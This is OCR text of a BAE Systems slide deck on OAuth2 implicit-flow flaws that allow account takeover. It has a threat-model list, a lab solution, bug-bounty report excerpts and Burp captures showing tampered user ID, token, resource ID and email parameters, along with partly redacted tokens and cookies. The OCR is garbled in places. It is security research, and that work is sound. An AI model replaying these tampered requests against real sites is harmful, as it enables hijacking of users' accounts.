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Statistics
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OAuth2 Definition

n Login with Facebook

Login with Linkedin

EMAIL

“OAuth is an open standard for access delegation,
commonly used as a way for Internet users to grant

PASSWORD

websites or applications access to their information on .
other websites but without giving them the passwords” :
<

o

e

oGIN <

New to Canva? Sign up! mm;m e :

n Sign up with Facebook

G Sign up with Google

Forgot password?

£ Log in with Facebook
Copyright © 2021 BAE Systems. All Rights Reserved
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OAuth2 Implicit Flow

Client Application

Authorization Request

Authorization Grant

Authorization Grant

Access Token

Email_ID, Resource_ID,

Username
Access Token

Protected Resource

Resource Owner
(User)

f B [

Authorization Server

Resource Server
(Website)
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Facts

* Only a small number of websites that offer
users to sign in using either Facebook,
Google or Twitter appear to exhibit this

problem.

» Tester only tested against FB accounts
already owned by the tester.

» Problem exist in implicit grant of OAuth
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Stats

; URL App Tested Facebook Google Apple Twitter Microsoft LinkedIn
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Obtain refresh token

Obtain Access Token
User unintentaom“y grants Yoo much access seope

Malicious client obtaing existing authorization lx/ fraud

Open redirector ¢ .

e f e e ‘ o ‘ .

Eavesdropping access tokens P \'

Obtain access tokens from authorization server database V L A= U ~
Obtain client credentials over non secure transport A /:/

Obtain ch;\‘t secret From authorization server database ‘; .‘/"“ / R\

Obtain client secret &/ online quessing /

DoS on dynomic client secret creation

& 10AUTH 2.0

Authorization Code | U
Malicious client obtains authorization \ il
Eavesdroppins authorization codes '.,\‘
Obtain authorization codes from authorization server database 97 |\ oo
Online. quessing of authorization codes . \
Adthorizadion code leaks when equesting access token /‘ T“ ,
: Session fixation Y \

DoS, Exhaustion of resources attacks
Access token leak in tmnspof‘t/end-poin‘ts

Access token leak in browser histo_ml
Malicious client obtains authorization

Accidental exposure of pasSworo(s ot client site

—Client obtaing scopes without end-user authorization

Client obtains refresh token ‘through automatic authorization

Obtain user passwomls on 'tro.nspor't
Obtain user Passworols from authorization server database

A\ : " Online 3ue$simj

EaVe,So(f‘opping refresh tokens from authorization server

OB‘ta?ning refresh token from authorization server database

EaVestppins, access Tokens on transport

Replay authorized resource server requests

Guessing access tokens

Access token phishing by counterfeit resource server

Abuse. of token by legitimate resource server or client | 27?72

Leok of confidential data in HTTP-Proxies

Token Ieo.kaae via logpiles and HTTP referrers

Obtain refresh token By online guessing

https://securityhubs.io/oauth2_threat_model.html
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Lab: Authentication bypass via OAuth implicit
flow

t N fRSHin i —

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client
application makes it possible for an attacker to log in to other users' accounts without knowing their password.

To solve the lab, log in to Carlos's account. His email address is carlos@carlos—-montoya.net.

You can log in with your own social media account using the following credentials: wiener:peter.

Access the lab

@ Solution

1. While proxying traffic through Burp, click "My account” and complete the OAuth login process. Afterwards, you
will be redirected back to the blog website.

2. In Burp, go to "Proxy" > "HT TP history” and study the requests and responses that make up the OAuth flow.
This starts from the authorization request GET /auth?client id=[...].

3. Notice that the client application (the blog website) receives some basic information about the user from the
OAuth service. It then logs the user in by sending a POST request containing this information to its own
/Sauthenticate endpoint, along with the access token.

4. Send the POST /Jauthenticate request to Burp Repeater. In Repeater, change the email address to
carlosCGcarlos—montoya.net and send the request. Observe that you do not encounter an error.

5. Right-click on the POST request and select "Request in browser" > "In original session". Copy this URL and
visit it in your browser. You are logged in as Carlos and the |ab is solved.




Hackerone Reports

@ hackerone.com/reports/314808

Login Contacted by a hacker? ‘

lhackerone SOLUTIONS v PRODUCTS PARTNERS v COMPANY v

ee)
(L]
i

‘ Contact Us

RESOURCES v

358 Full account takeover Share

6 sandeep_hodkasia submitted a report to Reverb.com. Feb 11th (4 years ago)
: Hello Team,

| got a security issue in reverb ios application which allows an attacker hack all users account.
Since iOS applicationis not in the scope but still |am reporting this, because this vulnerability may compromise all users account.
Please resolve this quickly.

Desription:
Reverbios applicationis not validating facebook access_token on the server side in login api, which allows an attacker to hack all account using his own
app access token.

Vulnerable request:

Code 311 Byte Wrap lines Copy Download
1 POST /api/auth/facebook HTTP/1.1

2 Host: reverb.com

4 {"fb_token":"EAAIBOT8DF2IBALSWChKjuRHSV2VEWpmM7eCz2IMgqqly1111q800yQuKHcOXn6aZCZAIrCtClbrZBdUGhC3FbvncNYk1EOK7AOkt ENDjUPWHPOh3Xx29IURSGIGPB1ZCjSY

] >
Here in vulnerable i used lyst app access token to login.
Steps to reproduce:

1. Replay vulnerable request in vulnerable request in burp suite
2.Use any other app access token .

Copyright © 2021 BAE Systems. All Rights Reserved.
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Reported February 11, 2018 2:54am +0800

9 sandeep_hodkasia

Participants

State ® Resolved ()

Reportedto  Reverb.com

Disclosed March 19,2020 11:26pm +0800

Severity [ High(7 ~8.9)
Weakness None
Bounty $800
CVEID None

Accountde... None

BAE SYSTEMS



Hackerone Reports

»
@ rootpgp
- Participants
0 Complete account Takeover of FB Users Q ‘p
State ® Resolved (Closed)

ADD HACKER SUMMARY

TIMELINE - EXPORT Reported to _
r00tpgp submitted a report to _ Apr 24th (about 1 year ago)

summary Severity @mBCritical (9.8)
| found a way to authenticate as any FB user that is registered at|j || | | QJEEEEEE A" attacker need is the victims FB: Asset: Dom... _
(1). id Weakness ImproPer Authentication -
Generic
(2). name
Bounty $1,000
Attacker will first authenticate using his own FB account at { | . then modify the id and name to the victims' particulars and the system will
grant the attacker victims' token which can be used to login into the victim account. s :
Visibility Private
PoC CVEID None

(1). Attacker is using the following creds: Accountdes: 'None
"email": "r@otpgp+husna@wearehackerone.com”, "id": " . 'name": “Husna Zulfadhly",

This is the vulnerable end-point:

Copyright © 2021 BAE Systems. All Rights Reserved.
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Hackerone Reports

Reported March 29, 2020 9:03am +0800

@ rootpap

? FB Token Reuse Due to uncheck Application ID Leading to Acc Takeover

ADD HACKER SUMMARY Participants

TIMELINE - EXPORT Q Q

Q r00tpgp submitted a report to || N Mar 29th (about 1 year ago) State ® Resolved (Closed)
Title

Reportedto NI

FB Token Reuse Due to uncheck Application ID Leading to Acc Takeover

Summary Severity @ High (8.8)
Client server doesn’'t check FB App ID when authenticating FB Qauth users. Thus, allowing FB token from any Application to be reused to gain entry to Asset:Dom... [N
I, lient server. Weakness Improper Authentication
Generic
Steps
(1). Use Burp to capture the FB Oauth token in_ The vulnerable end point here is: Visibility Private
Image F764584: Screenshot_from_2020-03-29_08-55-21.png 14425 Ki8 CVEID None
Zoomin Zoomout Copy Download Accountde.. None

- o - e

Copyright © 2021 BAE Systems. All Rights Reserved.
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Hackerone Reports

Complete Account Takeover Using FB Token
Submitted over 1 year ago

Submission details Revisions o
Status
Unresolved
Reference ed77d9ce5ad8a9952d4429%0d4edc7a75e26b85bco@7bb7b6b2725e658F4ddf53

Submitted 19 Mar 2020 13:24:06 +08 This submission has been accepted as a valid issue.
Congratulations!

Target Location 7

Reward

5 points
Target category Other

HRT version
VRT Server Security Misconfiguration > OAuth Misconfiguration > Account Takeover

18
Priority [p2]

Program

Bug uRL ———— e

Description Summary CrowdStream visibility

Complete account takeover is possible by reusing FB token and changing the userId param to login to the victim account, resulting in attacker able to Choose to associate your details with this subm

completely takeover the victims® account. CrowdStream when accepted.

Dlanca nata that vnor niearnama wiill alumue ha chAaum
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4 vulnerable parameters that are unchecked by the
Resource Server:

1. App-scoped User ID = these are unique ID created by
FB/Google/Twitter/etc, usually 15 digits.

2. Token Reuse = the Access Token generated by the
Authorization server. Can be taken from another application and
recycled on another Resource Server ©

3. Resource ID = A unique primary key value such as user id,
could also be the same as client email address. Easily guessed

4. Client Email Address = an email address registered at the
resource server / web server to identify a client. (as per
Portswigger Lab) Very easily guessed

Copyright © 2021 BAE Systems. All Rights Reserved.
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DISCLAIMER
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Testing Procedures

1. Create several test accounts with OAuth Authorization Servers

(FB, Twitter, LinkedIn, etc). Example:
testername+tuser01@wearehackerone.com

testername+user02@wearehackerone.com

2. FB accounts can only be used to authenticate against OAuth
Websites after 24 hours of registration.

3. Reqister test accounts at target website

4. Login to target website using test accounts and anlayse OAuth
traffic using BurpSuite and modify user controllable parameters.

Copyright © 2021 BAE Systems. All Rights Reserved. BAE SYSTEMS PROPRIETARY B A E s Ys T E M s
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mailto:testername+user01@wearehackerone.com
mailto:Testername+user02@wearehackerone.com

1. App-Scoped User ID Tamper

Email Address

o

Password

v/ 8+ Characters «/ Upper & Lowercase Letters v/ Number(s)

Forgot password?

s Sign in with Google

9 Sign in with Facebook

Don't have an account? Create one today and start

receiving deals from

Create An Account
BAE SYSTEMS




1. App-Scoped User ID Tamper

n Log in With Facebook

_ls requesting access to:

your name and profile picture and email address.

[# Edit access

Continue as Husna

By
and Faceboot

continu "':. 2 ONGO access 1o the miiormation iha )-O., S
RoaoLancesses it Leam more about this sha

ings thal you have.

and the set

Copyright © 2021 BAE Systems. All Rights Reserved. b
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1. App-Scoped User ID Tamper

Send <|v
Request
Pretty Raw Hex \n =
l POST /user/api/v2.l/a : . HTTP/2
> Host: ¢
Cookie: ja_T8e0={%22uuid%22 22puid%22 :%2

1FW’
dng#
Tiz 5 1t&4BOE
4 |Us ar—ugont Mu-illa 5.0 Vm""
5|Accept: application/j
Atcept-Languag@ en-
/ Accept-Encoding: gzip
3 Content-Type: apj
Request -Context: & o o 1718
Traceparent: 00-4feclch96ebe456dacSc
1 Content-Length: 293
2 0rigin: https:
Referer: https:
1 Te: trailers

sUWhrbl UM G !JIJ!W 7r‘m

5 ({
"provider":"f
”tc%:n”: 'EAAB2

:"31586857

pplelser”null

Attacker tampers Key

value also known as

authorization key ID,
Copyright © 2021 BAE Systems. All Rights Rtgken value remains

BAE SYSTEMS is a trade mark of BAE Systems pIc

untouched

bGFpbXMvZ212ZW5u

3 Request -Context:

14 Date: Mon, 2C

JGFSOTBUKBZAFNCrj 9AvLKX1iV7BD3V4DLpyzqrPZC1DiMD18DGYoADIOEVYL j ZBPS]

BAE SYSTEMS PROPRIETARY

Target: |

Response

Pretty Raw Hex \nl k=

1 HTTP/2 200 OK
, >cntont Lcnqth lS*

charept—utf Q

InR5cC

wT mPIPIE
W1lIj
Set -Cookie: REFRESH

oss-Control-Allow-Credentials:
Control-Allow-0Origin:

Api-Supported-Vers
X-Content -Type-Options: thT

11 Strict»Transport—Security. max-age=15724800; includeSubDomains
2 |X-Cache: CONFIG _NOCA

CHE

EDiVIYQ 511 fP8x

X-Azure-Ref: 5abTsLS2Ci37U0c yRURHRTA4MTUANZIZ2YTAWNZMt ZWEXMi0ON] EOLThKNTgtZTI

:11 GMT
{
"email": erone m",
i 137
"firstName
"LlastName": "Zul f ’
}

Server returns Husna
Zul access

BAE SYSTEMS




1. App-Scoped User ID Tamper

Send >y Target: http: O(//ll

~

A
Request Response
Pretty Raw Hex \n = Pretty Raw Hex \n =
POST /user/api/v2.1/ ) _ HTTP/2 HTTP/2 200 OK
2 Host: 2 Content-Length:
2 rooklD {%22uuid%22 :%22 F9992 0%22%2(C%2 1 d%272 zC_ 3yG Content Type: &f

aFF MadLV

} Set -Cookie:
aWlzl 2dpdm

CJS
2Fv LM

zp fﬂ}‘,;“lk[ggﬂ‘hW% 630 ;

q uugt OC hpphmf/dpnB#-~; > .1.16 8027 .72 2¢ ',_
Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x6 Appl pKit /537 .36 (KHTML, 71I~ Gecko

pt: application/json, text/plain, */* s -Iontrol “llom Hrlgln h
ept-Language: en-US,en; 5 anue-t Context: appld= Li- 1:9da86c4a-f60c -45ec -b964 -5697001562c7
ept-Encoding: gzip, deflate ) Api-Supported-Versions: Sl e
tent-Type: application X-Content-Type-Options: nosniff
Reque»t Context: appld=cid-vl: ¢ 3 7d4b0601000 11 Strict-Transport-Security: max-age=15724800; includeSubDomains
Traceparent: 00-4feclcb96ebe 456dat 80f9c53f4a8-c70e084df91d4553-C 12 X-Cache: CONFIG_NOCACHE
Content-Length: 293 13 X-Azure-Ref: G5SRIYQA 9NOhRFCE5SKA3aC 'WUOcyRURHRTA3SMTUAN2I2YTAWN2Mt ZWEXMiOON] EOLThkNTgtZT]
2 Origin: https: 14 Date: Mon, 20 Sep 202 96:30 GMT

Referer: https
14 Te: trailers

ok, " i.,,m; ; ,
0YsBADIiRMYSGFSOTBUKBZAFNCrj SAvLKX1iV7BD3V4DLpyzqrPZC1DiMD18DGYoADIOBVYL j ZBPS5] GLES ‘rlhmu ;“1“1'1
537 ) "LlastName":"Marie"

Attacker tampers Key
value also known as
authorization key ID,

Server returns Lisa
Marie access

token value remains
Copyright © 2021 BAE Systems. All Rights Reserved.
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1. App-Scoped User ID Tamper

FACEBOOK for Developers

Programs Docs Moré€ arted

Access Token Debugger

The “Key” Value can be

Sharing Debugger Batch Invalidator examlned USIﬂg FB debugger n:(7. ) v10.0 v

too. Derived from “App-Scoped
User ID”

EAAB2LPeMOYsBAPbG6tysAYBEWvQjsiMXZ!

7 Access Token Info

App ID 129935503800715 | G
Type User

App-Scoped User ID 315868573399421 : Husna Zulfadhly
Learn More User last installed this app via APl N/A
Issued Unknown

Expires 1622617200 (in about an hour)

Data Access Expires 1630387954 (in about 3 months)
Valid True
Origin Web

Scopes email, public_profile



2. Token Reuse

= 9400937

X

SIGN IN REGISTER

EMAIL ADDRESS

PASSWORD

Foraot Password?

— OrlJoin With ——

~
J

BAE SYSTEMS PROPRI

o 9400938

X @ m.facebook.com <: :

K Log in With Facebook

You previously logged in to- with Facebook.

Would you like to continue?

Continue

Cancel

By continuing JJij ! receive ongoing access to the
information that you share and Facebook will record when|ji
accesses it. Learn more about this sharing and the settings that
you have.

chic me's Privacy Policy and Terms

BAE SYSTEMS



This FB Access token
2. Token Reuse wEE Elan T

Coursera & will be
reused to access victim
Access Token Debugger web resource

Sharing Debugger Batch Invalidator Access Token

AP| Version:[?] | v11.0 v

EAALs5qT3SLWBAG3knOhZCD1KQluakFmMz4dY80rZCvvzwkhArVAvyvRO40kqZCMn2LwIuXth5INGdL3nCjltdicCdd2ZBwVygkqe83Jg4vn3aG6XmbI52dvLc21b2PQY

Access Token Info

App ID 823425307723964 : Coursera

Type User

App-Scoped User ID 116486606670953 : Husna Zulfadhly
Learn More User last installed this app via APl N/A
Issued 1627354528 (on Monday)

Expires 1632538528 (in about 2 months)

Data Access Expires 1635130527 (in about 3 months)

Valid True

Origin Web

Scopes email, public_profile

Copyright © 2021 BAE Systems. All Rights Reserved.
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2. Token Reuse

Send <|v Target:
Request Response
Raw \n Actions Vv Pretty Raw \n Actions v
L.GET 1 HTTP/1.1 200

/v9/login-customer/anon/login-by-facebook/351484653171146/EAALs5qT3SLWBAG3knBhZCD1KQluakFmMz4dY8 2 Content-Type:
0rZCvvzwkhArVAvyvR04okgZCMN2LwOuXth51NGdL3nCj JtdlcCdd2ZBwVygkqe83Jgdvn3aG6Xm5I152dvlc21b2PQ9Y7giA 3 Connection:

set=UTF-8

ZA1FveUTBBj 9JhLFAj ZASo1CAXFZBc xi4NYEYmCPAKmYyWVoiE]j I fW2rn0Cj8ZD?token=&source= HTTP/1.1 }Date: Thu, 2S
Z Lontent-lype: application/x-www-torm-urlencoded;charset=UlF-8 5 Server: nginx
3 accept-language: en 6/X-Cache: |
4 lappVersion: 3 141 7 Via: 8f554d43f12f2¢ Odc77 .cloudfront.net (CloudFront)

countryCode: US

deviceSystemVersion: 7.1.2

7 deviceType: android
xtoken:
sili yaF5
wid: 6ac22722-5631-4b
accept-language: en

11 currency: USD

12 website: 1
accessToken: 7e750d62-e763-41dc-bf7c-5806felde514 \ sts":[

14 Host : {

15 Connection: close "id" :"Mis
Accept-Encoding: gzip, deflate "name" : "Miscellaneous",

7 User-Agent: okhttp/3.12.1 "productIds

b: KUL50-C1
X7V LHVGmy1 ] cRt1ONRZE -4YR7ZLNQKyU1HPvcpUPHUYhELSDD] g==

12/{

}
1
"customer":{
"id":"1H6I2W7P3j7d4B3v4x3f4s610X",
"name" : {
"firstName":"Husna",
"lastName" :"Zul fadhly"

},

BAE SYSTEMS



2. Token Reuse Scenario

Victim @

Authenticates

Resource Owner

Hacker
controlled Client

App

Authorization
SEED

Resource Server

Hacker p
collects t
victim

OAuth - T @L B e reerve

AE SYSTEMS is Systems plc. BAE SYSTEMS PROPRIETARY

tokens

Victim Resource

Server

Hacker reuses
victim OAuth
token to login as
victim on
another web
resource server

BAE SYSTEMS



3. Resource ID Tamper

f Continue With Facebook

G Continue With Google

Email address / User Name *

Password *

Remember Me

Don't have an account? R

BAE SYSTEMS



3. Resource ID Tamper

Send <Y | 2]

Request

Raw Hex \n =

POST /ajax/
Host:
Cookie: csrf=av3shKOUVyht lxhZtRsVoxppBaXbelfs;
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé&4; x&€4:;
Gecko/20100101 Firefox/89.0

Accept: application/json, text/javas
Accept-Language: en-US,en;qg=0.5
Accept—-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlenc
X-Requested-With: XMLHttpRecuest
Content-Length: 448

Origin: https://w

Referer: https://

signup HTTP/2

ceripty e o=t sil

3|Te: trailers

Connection: close

full name=Je n+Lln[&u3 er id=117763253881732§user name=
&email= = ,.40Jmnll com&auth type=fb&auth token=
EAAUZCWIMVGMABAAGSSy1xw7vsOBXRkLE7TEOHHXxfvcLyglELZBEONZE7ycUzpgisAc
AhmAlmylHIUAFRIn8kmcCURCZCW3 hHNoHm7 liQBt1YASED[uruAHPf[ln /INHQC
EDMOKXX1Z2788eUrVvhVUSnWF 7B judkCZMicNYpYY "[WNUTl ZTqTP
fTe3-ylvHDuadeaTxZEhgyll ESB811EntmS7PFI8bQ
DyNeONALew%3D%3D

ViZ £gSmEdZ
1bENr l1kvUf

E@gmail.com

Target: http

Response

Il

Pretty Raw Hex \n

1 |/HTTP/2 200 OK
2 Server: nginx
3 |Date: Fri, 02 JdJul 2021 07:29:14 GMT
4 Content-Type: application/json; charset=UTF-8
S5 Vary: Accept-Encoding
5 Content-Language: £n
Set-Cookie: UserToken=hspZ3ClhulOGdB8pfdsBzlrj85SbyjWzlHICIeS5]jDcRVIppbhasS
Set-Cookie: ProfileType=434070001l; expires=5Sun, 0Z-Jul-2023 07:29:14
S Access-Control-Allow-Origin: *
DVia: 1.1
1|AlE-Svc:

"status'":1,

"info':{
"displayName":"Jean Ling",
"email"”: " pERgmail.com”,
"carFegistrationNumber™”:null,
"isBPLoggedIn'":null,
"phone":null,
"phone number verified":null,
"1Lnfll T'p;”:”Plent%”,
"ld":”44U;du:?—dA?%—4930—5371—F"”””l
"profileId™”: "Bc¢ 249-1c13-49d9-
"dealerHomeUrl":"https: C
"accessToken'": "dS4cedB8
"profilePhoto":null,
"firstName":"Jean"
"lastName":"Ling",
"identificationNo":null,
"profileUrl":"https
"savedCarUrl":"https:

:"https: w1

"manadg




3. Resource ID Tamper

Send LEL

Request Response

Raw Hex \n = Pretty Raw Hex

POST /ajax/signup HTTP/2 HTTP/2 200 OK
Host 2 | Server: nginx
Cookie: csrf=av3shKOUVyhtlxhZtRsVgxppBaXbelfs; 3 Date: Fri, 0Z Jul
User— A« .t Mozilla/S5.0 (Windows NT 10.0; Wing&4; x64; rv:89.0 secko/20100101 4 Content-Type: application
Firefox/88.0 : ary: Accept—-Encoding

Accept: application/json Javascript, */*; g=0.0 5 Content-Language: =n

Accept-Language: n—-US, en;« - 7 |Set—Cookie: UserToken=sHvQdDxVItAlU4ct( 3 SX0TNDGSCMO44HBgF duOHd
s

Accept—-Encoding: d p, Cdle ate B | £ ] 434070001; Sun, 02-dJul-2023 07:33:

Content-Type: application/x-www—form-urlencoded; charset=UTF-8
X-Recquested-With: XMLHttpRecuest 10 Via: 1.1 google
Content-Length: 449 ,—SVve: clear
Origin: https 2
Referer: http
Te: trailers "status":1,
Connection: clos rinfo?sd
"displayName":"Ganyu Ling",
full name=Jean+Ling&user id=1177€3253881l732&user name=: s40gmail.com "email":' Bgmail.com",
&email=_____________ _%40gmail.com&auth type=fb&auth token= "carFeglstrationiNumber”:null,
AAUZCWJIMvGMAE iy 13X OBXREKLB7TEOHHxTtvcLyglELZEONZE7ycUzpgicAcVnZ TgSmEKdZA "isBPLoggedIn'":null,
hmAlmylH1UAFR] C "URCZ AHNoHm7 1iQBtaWAZ SDgnkuAHP£qlnyNHQc7ZCL1bENY 1 kv UL L "phone":null,
MO} 2788eUrVvhVUSnUF7BjudkCZMicNYpYYs ARNL ASBbjNOTiXZYqTRZACE csSrf= "phone number verified":null,
TTo yvivHDuadeaTxZEhgyll ESE1l1EntmS7PFIE8bQgecS ISIRSRThbsxcjufleUniZWTePGO3vItTOD "profileType":"Private”,
yNeONALews3D%3D "id":"9cB891d50-0f£19-44e9-bh7d9-6fEd=B80dcE
i pELlsTd? 5" c2b-0£f00-4£f80-b
alerHomeUr1'": !
accessToken'":"94802dl3-725a-48a5-b&éch-
"profilePhoto":null,
"firstName":"Ganyu”,
"lastName":"Ling",
"identificationNo":null,
"profileUrl":"
ACarUrl'":
Acd":"ht
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3. Resource |ID Tamper

o C @ O {5 = https:/—’account/'proﬁle

Banki'wge H4 Q ) v @ 1]

Edit Profile
Jean Ling

Private Profile Photo

Select Photo

Email Address

I > 2l com

First Name Last Name

Jean Ling

Phone Number

Send TAC.

Change Password

Update Profile

BAE SYSTEMS



4. Client Email Address Tamper

- I = &

- HOME ABOUT JOBS JOB SEEKERS EMPLOYERS BLOG CONTACTUS %) LOGIN & REGISTER ‘}

n Login with Facebook
m Login with LinkedIn

EMAIL

PASSWORD

Remember Me

© Forgot Password?

Don’t have an account yet? Register Now —
BAE SYSTEMS




O W o -]on Wb

[

POST /wp- admln/admln-ajax php HTTP/2

e o

=
e

Copyright © 2021 BAE Systems. All Rights Reserved.
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BAE SYSTEMS PROPRIETARY

1 /
Host: 2 Dat:e-‘ Ued 30 Jun 2021 09:45:46 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:89.0) Gecko/20100101 3 |Server: Apache
Firefox/89.0 4 X-Powered-By: PHP/7.4.20
Accept: */* 5 |Access-Control-Allow-Origin: hetps:// ||
Accept-Language: en-US,en;qg=0.5 6 Access-Control-Allow-Credentials: true
Accept-Encoding: gzip, deflate 7 |X-Robots-Tag: noindex
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 2 X-Content-Type-Options: nosniff
X-Recquested-With: XMLHttpRequest 9 X-Frame-Options: SAMEORIGIN
Content-Length: 55 10 Referrer-Policy: strict-origin-when-cross-origin
Origin: ht : 11 Expires: Wed, 11 Jan 1984 05:00:00 GMT
Re : https:/ / 12 Cache-Control: no-cache, must-revalidate, max-age=0
e: trailers 13 Set-Cookie: wordpress sec 74eac7344c70cd9abE9cZSh28d7esati=
Connection: close S 40gmail .coms7CLE252 19148% 7CGERISINTESafeqVr XrSiGCglaFrd
ucD2Y0i4vBEbrB3%7C03 lccasfdl7dfdlf7cdeced4B8le736e5a2£48340725d75£855bd
h7853d=4£699dd; path=/wp-content/plugins; secure; HttpOnly
14 |Set-Cookie: wordpress sec_ 74eae7344c70cdSabeSciSh2Bd7eeati=
%40gmail.com$7CLlE25219148%7CGERISINTrSafcqgVrXrSiGCyglaFrd
ucD2Y0i4vB8ebrB83%7C13 leccasfdl7dfdlf7cdeced4B81e736e5a2£48340725d75£855bd
h7853d=4£fE99dd: _nath=/un-admin: _secure: HttnOnly
.15 |Set-Cookie: wordpress logged in 74eas7344c70cd9abe9cisSh2Bd7esati=
. = : 40gmail. com’s7C16"5"19148%'7CGkaSJNTtSafchrXrSJ.GCg.laFrd
Attacker tam pers client email ucD2Y0i4vBEbrBi%7C045d9cdd2 £8af75e8492d2e27974d6664a3£4 169£3a52 0dab
lad75eb849b36f; path=/; secure; HttpOnly
address param. No access token 16 Vary: User-Agent
17 Content-Length: 2
needed!! 18 Content-Type: text/html; charset=UTF-8
19
20 |ok




4. Client Email Address Tamper

HOME ABOUT JOBS JOB SEEKERS EMPLOYERS BLOG CONTACTUS

Member

Manage Resume

[ Manage Resume
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Summary & Impact

Attacker can access protected resources containing sensitive user data on the
Resource server.

Attack can be performed using any FB/Google/Twitter OAuth account.

Attacker will have full control (Account take-over) of victims’ account.

Attacker can then steal their identity to conduct fraud or other criminal acts.

Copyright © 2021 BAE Systems. All Rights Reserved.
BAE SYSTEMS is a trade mark of BAE Systems plc.
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